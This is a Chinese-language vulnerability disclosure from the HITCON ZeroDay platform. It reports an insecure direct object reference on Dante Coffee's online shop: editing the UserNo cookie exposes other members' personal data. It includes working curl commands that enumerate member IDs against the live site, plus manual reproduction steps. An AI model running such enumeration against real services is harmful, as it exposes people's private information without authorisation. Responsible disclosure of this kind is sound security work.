Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00408
- Vendor: 丹堤咖啡食品股份有限公司
- Title: 丹堤咖啡 個資易讀取
- Introduction: 有個 API 可以獲取用戶個資,此 API 易被瓊舉、猜測
處理狀態
目前狀態
公開
Last Update : 2023/12/08
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2023/08/05 14:47:40 : 新提交 (由 user 更新此狀態)
- 2023/08/08 06:05:33 : 新提交 (由 user 更新此狀態)
- 2023/08/12 11:15:15 : 新提交 (由 user 更新此狀態)
- 2023/08/12 12:20:22 : 新提交 (由 user 更新此狀態)
- 2023/08/12 12:25:05 : 新提交 (由 user 更新此狀態)
- 2023/08/14 09:51:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/14 15:38:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/14 15:38:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/14 15:38:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/10/05 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2023/11/30 15:10:55 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/12/08 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00408
- 通報者:user (user)
- 風險:中
- 類型:其他 (Other)
參考資料
暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://shop.dante.com.tw/
敘述
丹提咖啡行動購物網的會員中心頁面存在弱點,後端程式是根據使用著發出請求時夾帶在請求的 Cookie 判斷回傳資料,該 Cookie 名為 UserNo 內容是使用著的編號並存放於瀏覽器內,若有有心人士經修改 Cookie 中的 UserNo 即可獲取他人的個資、送禮紀錄及錢包資訊...等機敏內容,故建議丹提咖啡儘速修補此弱點,謝謝。
下方為弱點可被利用範例
$ curl -s --cookie "UserNo=編號一; VldCode=0;" "https://shop.dante.com.tw/VipInfo.aspx" | grep 'name="ctl00$cph_Main$txtVIPNa"'
<input name="ctl00$cph_Main$txtVIPNa" type="text" value="A " id="cph_Main_txtVIPNa" />
$ curl -s --cookie "UserNo=編號二; VldCode=0;" "https://shop.dante.com.tw/VipInfo.aspx" | grep 'name="ctl00$cph_Main$txtVIPNa"'
<input name="ctl00$cph_Main$txtVIPNa" type="text" value="B " id="cph_Main_txtVIPNa" />
$ curl -s --cookie "UserNo=編號三; VldCode=0;" "https://shop.dante.com.tw/VipInfo.aspx" | grep 'name="ctl00$cph_Main$txtVIPNa"'
<input name="ctl00$cph_Main$txtVIPNa" type="text" value="C " id="cph_Main_txtVIPNa" />
$ curl -s --cookie "UserNo=編號四; VldCode=0;" "https://shop.dante.com.tw/VipInfo.aspx" | grep 'name="ctl00$cph_Main$txtVIPNa"'
<input name="ctl00$cph_Main$txtVIPNa" type="text" value="D " id="cph_Main_txtVIPNa" />
$ curl -s --cookie "UserNo=編號五; VldCode=0;" "https://shop.dante.com.tw/VipInfo.aspx" | grep 'name="ctl00$cph_Main$txtVIPNa"'
<input name="ctl00$cph_Main$txtVIPNa" type="text" value="E " id="cph_Main_txtVIPNa" />
操作流程:
-
建立兩組測試帳號,信箱結尾分別是 "... [email protected]" 及 "... [email protected]",對應的姓名分別為 "dante-1" 及 "dante-2"。
-
通過正常輸入帳號及密碼的方式登入
-
在瀏覽器的開發人員工具的 Cookie 設定中即可查看該帳號的 UserNo,姓名為 "dante-1" 帳號的 UserNo 最後兩位數是 "09",姓名為 "dante-2" 帳號的 UserNo 最後兩位數是 "10"
-
以第一個帳號的信箱 "... [email protected]" 及密碼正常登入
-
打開丹提咖啡的會員中心,網址為 https://shop.dante.com.tw/VipInfo.aspx ,可以看到姓名是 "dante-1"
-
進入瀏覽器開發人員工具的 Cookie 設定,原本 UserNo 會是以 "09" 結尾,接著將 UserNo 的結尾修改成 "10"
-
重新訪問丹提開發會員中心 https://shop.dante.com.tw/VipInfo.aspx ,可以看到姓名是 "dante-2"
附上操作流程的螢幕錄影 https://ody.sh/LiQ65QSsTq
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。